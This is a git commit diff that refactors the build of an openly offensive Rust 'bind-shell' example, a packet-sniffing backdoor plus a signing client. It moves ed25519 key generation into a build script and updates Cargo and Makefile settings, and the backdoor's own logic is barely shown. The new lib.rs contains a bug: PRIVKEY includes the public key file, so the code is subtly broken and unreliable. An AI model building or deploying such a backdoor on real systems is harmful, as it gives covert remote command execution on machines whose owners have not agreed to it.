build: made it easier to build bind-shell

Cargo.lock

@@ -168,6 +168,7 @@ version = "0.1.0"
 dependencies = [
  "anyhow",
  "ed25519-dalek",
+ "ex-bind-shell-key-generator",
  "log",
  "pcap-sys",
  "simple_logger",
@@ -181,6 +182,7 @@ version = "0.1.0"
 dependencies = [
  "anyhow",
  "ed25519-dalek",
+ "ex-bind-shell-key-generator",
 ]
 
 [[package]]

Makefile.toml

@@ -23,13 +23,16 @@ args = ["fmt"]
 #---------------------------------
 
 [tasks.setup]
+workspace = false
 dependencies = ["pull-rust-image", "update-submodules"]
 
 [tasks.pull-rust-image]
-shell = "docker pull rust:1-alpine"
+workspace = false
+script = "docker pull rust:1-alpine"
 
 [tasks.update-submodules]
-shell = "git submodule update --init"
+workspace = false
+script = "git submodule update --init"
 
 #----------------------
 # 
@@ -38,6 +41,7 @@ shell = "git submodule update --init"
 #----------------------
 
 [tasks.ci]
+workspace = false
 dependencies = ["setup", "build"]
 
 [tasks.convco-check]

examples/bind-shell/backdoor/Cargo.toml

@@ -8,6 +8,7 @@ edition = "2021"
 [dependencies]
 tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
 pcap-sys = { path = "../../../pcap-sys" }
+ex-bind-shell-key-generator = { path = "../key-generator" }
 anyhow = "1.0.70"
 tokio-stream = "0.1.14"
 ed25519-dalek = "1.0.1"

examples/bind-shell/backdoor/src/main.rs

@@ -8,7 +8,7 @@ use pcap_sys::{self, packets::EthernetPacket};
 use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
 use tokio_stream::StreamExt;
 
-const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
+use ex_bind_shell_key_generator::PUBKEY;
 
 #[tokio::main]
 async fn main() -> anyhow::Result<()> {

examples/bind-shell/client/Cargo.toml

@@ -8,3 +8,4 @@ edition = "2021"
 [dependencies]
 anyhow = "1.0.70"
 ed25519-dalek = "1.0.1"
+ex-bind-shell-key-generator = { path = "../key-generator" }

examples/bind-shell/client/src/main.rs

@@ -3,8 +3,7 @@ use std::{io::prelude::*, net::UdpSocket, thread};
 use anyhow::{anyhow, Context};
 use ed25519_dalek::{Keypair, Signer};
 
-const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
-const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");
+use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
 
 fn main() -> anyhow::Result<()> {
     let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())

examples/bind-shell/key-generator/Cargo.toml

@@ -5,6 +5,6 @@ edition = "2021"
 
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
-[dependencies]
+[build-dependencies]
 ed25519-dalek = "1.0.1"
 rand = "0.7"

examples/bind-shell/key-generator/build.rs

@@ -0,0 +1,31 @@
+// Copyright (C) 2023 Andrew Rioux
+// 
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as
+// published by the Free Software Foundation, either version 3 of the
+// License, or (at your option) any later version.
+// 
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU Affero General Public License for more details.
+// 
+// You should have received a copy of the GNU Affero General Public License
+// along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+use std::{fs, io, path::Path};
+
+use ed25519_dalek::Keypair;
+
+fn main() -> io::Result<()> {
+    let mut csprng = rand::thread_rng();
+    let keypair = Keypair::generate(&mut csprng);
+
+    let path_str = std::env::var("OUT_DIR").unwrap();
+    let path = <String as AsRef<Path>>::as_ref(&path_str);
+
+    fs::write(path.join("privkey"), keypair.secret)?;
+    fs::write(path.join("pubkey"), keypair.public)?;
+
+    Ok(())
+}

examples/bind-shell/key-generator/src/lib.rs

@@ -0,0 +1,17 @@
+// Copyright (C) 2023 Andrew Rioux
+// 
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as
+// published by the Free Software Foundation, either version 3 of the
+// License, or (at your option) any later version.
+// 
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU Affero General Public License for more details.
+// 
+// You should have received a copy of the GNU Affero General Public License
+// along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
+pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));

examples/bind-shell/key-generator/src/main.rs

@@ -1,13 +0,0 @@
-use std::{fs, io};
-
-use ed25519_dalek::Keypair;
-
-fn main() -> io::Result<()> {
-    let mut csprng = rand::thread_rng();
-    let keypair = Keypair::generate(&mut csprng);
-
-    fs::write("privkey", keypair.secret)?;
-    fs::write("pubkey", keypair.public)?;
-
-    Ok(())
-}